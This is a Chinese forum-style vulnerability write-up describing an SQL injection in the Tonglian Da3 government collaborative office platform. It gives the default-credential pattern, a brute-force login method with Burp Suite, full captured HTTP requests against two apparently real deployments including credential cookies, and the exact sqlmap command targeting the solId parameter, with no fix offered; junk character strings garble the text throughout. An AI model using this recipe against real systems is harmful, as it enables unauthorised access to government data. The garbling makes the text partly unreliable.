同联Da3协同办公平台前台通用sql injection漏洞

admin

. X; w- z% t3 F! k9 i

平台简介： 3 Q/ S2 l1 ?: x3 Z

+ \4 r/ u' _) _% [

, ]$ t5 ~) r" L# ~1 r6 X  

l7 S" m' P3 a. p3 C* {

3 f9 N3 H- i( G& }, j" r6 L 北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
, B& E& f5 ?/ n/ U" M) E/ b* \同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！ 4 D# e* g, f. a; _% C) }$ h" ]

  $ B5 C* g$ g0 C8 [9 M- I* R

由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址：

0 `- G k4 B" `  

http://1.1.1.1:7197/cap-aco/#（案例2-） - ^: I7 X9 N9 V& g$ |" I

- x) |1 G6 ^5 a http://www.XXOO.com （案例1-官网网站） ; }" s' J5 K- f9 D3 k8 ?( r* q

+ Y1 ^8 [ z# }# q5 l# m

3 V' l$ M6 E [% x7 Q  

% {6 Y9 h4 F3 l! F9 d, \6 ]

* `7 w9 N( k% w, U( a0 E 漏洞详情:

 初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试 5 M$ |8 d4 W4 M0 {+ k# i$ M% ]8 ^

, s4 S0 h1 s( `5 j' v% V. x3 e

     首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图： ) L* r7 c, g: r2 Y4 F0 M

  : G) Y& l x2 p( w% x: @& |8 U/ t

& C! m6 v3 h2 L. K6 }) S t  

status为302即表示破解成功，然后找个破解成功的账号登录系统。经过长时间的手工测试发现在发文管理模块抓包，抓包的数据分别如下： / g6 L3 R& b: @+ M% p. e

8 Q6 Z" q4 m, w' ?, x

) R! \6 {: g! B: z. [ 1、案例1-官方网站 8 N3 f- u) U# w% a# L9 Y& G6 B

/ L; B9 b, G3 A$ }4 b4 ~* c GET /bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=42b0234e-d5dc-402d-9cef-1ce38cbae480&state=&title=1111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510060789826 HTTP/1.1

0 P: B* \: H! t2 _& T- b) G

Host: www.XXOO.com

% N, n2 l; \5 w0 y4 ~( ^, |

# z/ T, g6 Z" J: o4 X8 l0 A9 S$ e. H Proxy-Connection: Keep-Alive , m* B; s* M$ t& N

6 b3 S' o6 H2 T- M6 ?2 B" j. y

Accept: application/json, text/javascript, */*; q=0.01

3 c: A+ x3 d" @1 B% r

9 Y/ z+ Q) K2 H# F) m6 J& r Accept-Language: zh-CN ; I8 c" s3 e6 _* b/ r( [

. b! ]+ D8 X) T7 X' p

Content-Type: application/json

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0; SE 2.X MetaSr 1.0) like Gecko 3 p+ P' i" Y% a) z( G9 k

& B0 q+ s$ W8 V- v2 f X-Requested-With: XMLHttpRequest + B4 }' M* A% u, t7 \( I, {

Referer: http://www.XXOO.com/bizRunContro ... 80?modCode=1008M002

}4 U+ k& C5 H) a% X1 P

Accept-Encoding: gzip, deflate, sdch $ [" |, L5 A J+ h1 M

5 t0 d% ^* z+ L6 g/ V# w

8 }2 I. x& B& V4 R- P. L; r; D Cookie: username=chm; password=123; rememberme=1; autoSubmit=1; sid=2cf5142f-6c1e-4cbb-89d8-2ebd08438b2e

3 m0 m, a5 |6 G( V6 `/ R- }& u2 q

- q4 T6 X8 Y' B9 n 将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r tl.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图:

2 T( ^3 \; o$ V9 q: {  

, C' [; Y/ O' Y4 e3 r& \7 w7 Z0 G   % y8 k( x: Q) D3 Z* y/ ]( \

$ S' g* [+ K8 O" w7 t0 c

 

1 @& X' e1 y+ F

: v. ^$ ~! T: `: |9 U: P  

& ]# \7 t+ u+ m# C0 V% V4 ^

& Z6 V4 H7 \9 D3 V% h; F) ?4 q5 D  

, `: f# p4 q# r( z

! x9 B5 i1 S ?8 g+ N 2、案例2-某天河云平台 , G. r* Y( {7 A$ Q5 Q* U# X

, ?! W8 `. E+ [$ |

GET /cap-aco/bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=af056885-4ae5-4e0b-8a0d-c413a786f2db&state=&title=11111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510047738662 HTTP/1.1 : ^ t+ T* y: |' \

7 p) v4 d/ a# b/ Z Host: 1.1.1.:7197

8 y( H* \9 u; L* r; k

[7 g/ L( \- e4 L" m0 _' v Accept: application/json, text/javascript, */*; q=0.01

1 |4 }; L$ _! ~/ C% a3 o' X

8 F! x) B( e( j X-Requested-With: XMLHttpRequest , \. c: l; v' e: I& S! e7 x: X

3 |# w1 |+ [' Q0 H/ j, w; V o

+ q: D3 x5 n1 I1 K# l* ~% }% T User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0

" }& g6 O5 p# O

; P1 x9 R% I- G Content-Type: application/json

% B: _: f$ ], S" T3 a s

7 J3 r" S8 e8 D* l. A# G7 J) f$ F8 K1 @ Referer: http://1.1.1.1:7197/cap-aco/bizR ... 86f2db?modCode=1008 ) y8 r7 q; K& N

. f& F* q0 k T* t

+ i# j3 j5 q8 v$ y5 P. D- R( f Accept-Language: zh-CN,zh;q=0.8

4 n- f6 d2 y; `9 n

Cookie: autoSubmit=1; sid=4e333ec9-d194-456b-bb08-4ff64c6eb1fc; username=lxr; password=123; rememberme=1; autoSubmit=1 1 }* r/ H3 ~" r! B! B, H. I

; D% P, z8 ^; N: c

5 L M4 }( }! [ X. q# B Connection: close $ e. \+ n* h1 D4 H" ?

将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r 1.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图: 7 S; ^& z" u' R& x% _3 E

( z+ u* `5 A, i# i$ I: i% _

5 i, h- X% {- Y/ L  

5 ^6 m6 ~ H8 }& w$ @2 l, m